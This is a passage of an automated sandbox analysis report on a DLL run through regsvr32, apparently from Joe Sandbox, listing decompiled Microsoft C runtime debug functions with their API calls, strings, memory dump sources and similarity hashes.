Function 000007FEF9D27540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF9D27540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF9D23D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF9D2CF20(E000007FE7FEF9D2CFB0(E000007FE7FEF9D2D450(E000007FE7FEF9D2D470(E000007FE7FEF9D2BD50(E000007FE7FEF9D2AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef9d27540
0x7fef9d27544
0x7fef9d27549
0x7fef9d2758e

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D2CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF9D2758A,?,?,?,?,?,?,000007FEF9D23D39), ref: 000007FEF9D2CF30

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: d1131ca10be328b200f0d94da683d71e83c9d45f094ccb2362bb8b9ac37f618d
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: CFE07D6391D58181E6B0BB21EC5226E93B0F7C8788F610171B6CD47A7BCE1DE9018B80

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF9D2ACB7

Part of subcall function 000007FEF9D274E0: ExitProcess.KERNEL32 ref: 000007FEF9D274F5

RtlAllocateHeap.NTDLL ref: 000007FEF9D2ACE7

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: 018cd22ed3aaffe80bc67b356604b0c029bcf26b5d2cff022e0890546f5cf117
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: AFE04F2490898683E7A49726E80037D63E0FB84348F614036D7CE026F5CF2FE840E601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D24399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf9d243ad;
				goto 0xf9d243f5;
				if (_a88 != 0) goto 0xf9d243ce;
				if (_a120 == 0) goto 0xf9d243c7;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				if (E000007FE7FEF9D2ABB0(_a48, _a80) != 0) goto 0xf9d243f3;
				if (_a120 == 0) goto 0xf9d243ef;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				goto 0xf9d24377;
				return 0;
			}

0x7fef9d24399
0x7fef9d243a4
0x7fef9d243ab
0x7fef9d243b2
0x7fef9d243ba
0x7fef9d243c1
0x7fef9d243cc
0x7fef9d243da
0x7fef9d243e2
0x7fef9d243e9
0x7fef9d243f1
0x7fef9d243f3
0x7fef9d243f9

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 1adc9abf0de1c3ca8893cd90e215b0d97e51771cadcbd8eff06287440f46b9d2
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 8B01B332A5CB41C6F7A08A55E84472EA7E0F7C4794F321121AECD42BB8CB7DE440CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23471 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23496

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _ioterm
String ID:
API String ID: 4163092671-0
Opcode ID: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction ID: 7377a742d64af20529275359c4a94eabcf7c0d21081332a84b693dd33c507e1a
Opcode Fuzzy Hash: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction Fuzzy Hash: F4F03720C0C10789FAE16778AC0A37CA1D1A711B91F3252F5A0DC821F2D77FB54A8A12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23437

Part of subcall function 000007FEF9D27D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2343C), ref: 000007FEF9D27D93

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Part of subcall function 000007FEF9D288D0: HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 18d5f63124407e78997e2f664e67049843f9c9ac3d7a6681d0ffcba3130af5de
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 50E06760E0C1439AF6D567B46C423BD91D06B54BC1FB245B2A1CE862F3EA5FB8014662

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D288D0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction ID: df5636f5ee55eb5a1123ad47329e94e2a1af4504a4e9b44811c9c5941fd1bffd
Opcode Fuzzy Hash: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction Fuzzy Hash: 6CC04C64D15A01C1EA445726FC8536822A06394745FA0C021C5CD012308B2F55968701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D00 Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction ID: 5c830059afc01ab3dffeb0f702370a5898bb96dd38ab511ff450623a486f5942
Opcode Fuzzy Hash: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction Fuzzy Hash: F1A00224F16591D7DAAC373A5D9713D11A06B68709FF05869C74F40261CE2F92FE8B05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF9D30215 Relevance: 89.7, APIs: 29, Strings: 22, Instructions: 441COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D3024C
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30279
OutputDebugStringW.KERNEL32 ref: 000007FEF9D30285
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302BF
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302CC
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302DA
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302E7
_wcsftime_l.LIBCMTD ref: 000007FEF9D30352
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D303AA
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30408
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30484
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D304CB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30538
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D3057E
_snwprintf_s.LIBCMTD ref: 000007FEF9D305F5
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D3064D
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D306AB
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D30764
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D307B8
_unlock.LIBCMTD ref: 000007FEF9D30900

Strings

wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 000007FEF9D3047B
Assertion failed!, xrefs: 000007FEF9D30433
<file unknown>, xrefs: 000007FEF9D302A8
_VCrtDbgReportW, xrefs: 000007FEF9D30269, 000007FEF9D3038A, 000007FEF9D303F8, 000007FEF9D30474, 000007FEF9D304BB, 000007FEF9D30528, 000007FEF9D3056E, 000007FEF9D3062D, 000007FEF9D3069B, 000007FEF9D30744, 000007FEF9D307A8, 000007FEF9D30A90, 000007FEF9D30C0E
, Line , xrefs: 000007FEF9D302C5
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D303C7, 000007FEF9D3066A
Assertion failed: , xrefs: 000007FEF9D30422
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D30270, 000007FEF9D30C15
(*_errno()), xrefs: 000007FEF9D30396, 000007FEF9D30639
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30A9C
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D307AF
Second Chance Assertion Failed: File , xrefs: 000007FEF9D3027E
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 000007FEF9D30575
P, xrefs: 000007FEF9D30AC6
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D306A2
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D3077A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D30262, 000007FEF9D3037E, 000007FEF9D303F1, 000007FEF9D3046D, 000007FEF9D304B4, 000007FEF9D30521, 000007FEF9D30567, 000007FEF9D30621, 000007FEF9D30694, 000007FEF9D30738, 000007FEF9D307A1, 000007FEF9D30A84, 000007FEF9D30C07
%s(%d) : %s, xrefs: 000007FEF9D305DB
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D303FF
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30750
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 000007FEF9D3052F
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D304C2

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_snwprintf_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 4197005980-4190456261
Opcode ID: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction ID: 631fc2af3d1e2e358681470289229c30ebeab24735d73449bcceef6109dc099e
Opcode Fuzzy Hash: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction Fuzzy Hash: 6B421031A0CA8685EBB0CB14E8547EE73E4F784345FA04226D6CD43AA9DF7EE549CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30CC0 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

LoadLibraryW.KERNEL32 ref: 000007FEF9D30D2A
GetProcAddress.KERNEL32 ref: 000007FEF9D30D50
DecodePointer.KERNEL32 ref: 000007FEF9D30E40
DecodePointer.KERNEL32 ref: 000007FEF9D30E52
DecodePointer.KERNEL32 ref: 000007FEF9D30F67

Strings

GetActiveWindow, xrefs: 000007FEF9D30D7C
GetUserObjectInformationA, xrefs: 000007FEF9D30DC0
GetLastActivePopup, xrefs: 000007FEF9D30D9E
GetProcessWindowStation, xrefs: 000007FEF9D30DF3
MessageBoxA, xrefs: 000007FEF9D30D44
USER32.DLL, xrefs: 000007FEF9D30D23

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2256938910-232180764
Opcode ID: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction ID: c20bf9db26653c31616cb8f8a39641649b62d884e8934e9a70f617ae2971618d
Opcode Fuzzy Hash: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction Fuzzy Hash: 9A81C631A19B8686E7A09B19FC4436EB3E0F784755F608135DACE426B8DF7EE448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24A70 Relevance: 30.3, APIs: 2, Strings: 15, Instructions: 504COMMONLIBRARYCODE

Download Yara Rule

Strings

_pFirstBlock == pOldBlock, xrefs: 000007FEF9D25294
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D24E30
Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24C94
fRealloc || (!fRealloc && pNewBlock == pOldBlock), xrefs: 000007FEF9D251AB
Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24D7D
_CrtCheckMemory(), xrefs: 000007FEF9D24B23
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24D55
The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 000007FEF9D24DE7
Client hook re-allocation failure at file %hs line %d., xrefs: 000007FEF9D24C00
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D24B38, 000007FEF9D24E45, 000007FEF9D24EB7, 000007FEF9D251C0, 000007FEF9D2523B, 000007FEF9D252A9
Client hook re-allocation failure., xrefs: 000007FEF9D24C25
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D24CC6
pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ, xrefs: 000007FEF9D24EA2
Error: possible heap corruption at or near 0x%p, xrefs: 000007FEF9D24F22
_pLastBlock == pOldBlock, xrefs: 000007FEF9D25226

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$Invalid allocation size: %Iu bytes.$Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$_pFirstBlock == pOldBlock$_pLastBlock == pOldBlock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$fRealloc || (!fRealloc && pNewBlock == pOldBlock)$pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ
API String ID: 0-1181733849
Opcode ID: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction ID: c027552587c484905274aa3c7dfc2130a2bba284c4db387798f357193d3a2f5b
Opcode Fuzzy Hash: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction Fuzzy Hash: B3421035A0DB8685EBA08B69E88076E77E0F785794F214136DADD83BB4DB7ED440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D253FB Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D254D9
_free_base.LIBCMTD ref: 000007FEF9D2583F

Strings

_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D254E2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D254F7, 000007FEF9D2556D, 000007FEF9D257FE
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2573C
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 000007FEF9D2542B
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25683
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D2579F
Client hook free failure., xrefs: 000007FEF9D254A0
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25620
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 000007FEF9D257E9
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25558

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid_free_base
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ
API String ID: 1656799702-182684663
Opcode ID: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction ID: 30c4da0a101ad128366c20b2541b857d1a248eb6f856515bedc9f5e1dcd2840f
Opcode Fuzzy Hash: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction Fuzzy Hash: 58C16E36A18B4586EBA48B59E88076EB7E0F785790F614536EACD43BB4DB7ED401CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25CAD Relevance: 17.8, Strings: 14, Instructions: 322COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 000007FEF9D260FA
_heapchk fails with unknown return value!, xrefs: 000007FEF9D25DAF
_1, xrefs: 000007FEF9D261FC
_heapchk fails with _HEAPBADEND., xrefs: 000007FEF9D25D4D
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
_heapchk fails with _HEAPBADPTR., xrefs: 000007FEF9D25D7E
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
DAMAGED, xrefs: 000007FEF9D25E7D
_heapchk fails with _HEAPBADNODE., xrefs: 000007FEF9D25D19
_heapchk fails with _HEAPBADBEGIN., xrefs: 000007FEF9D25CE5
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25F42
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D26030

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
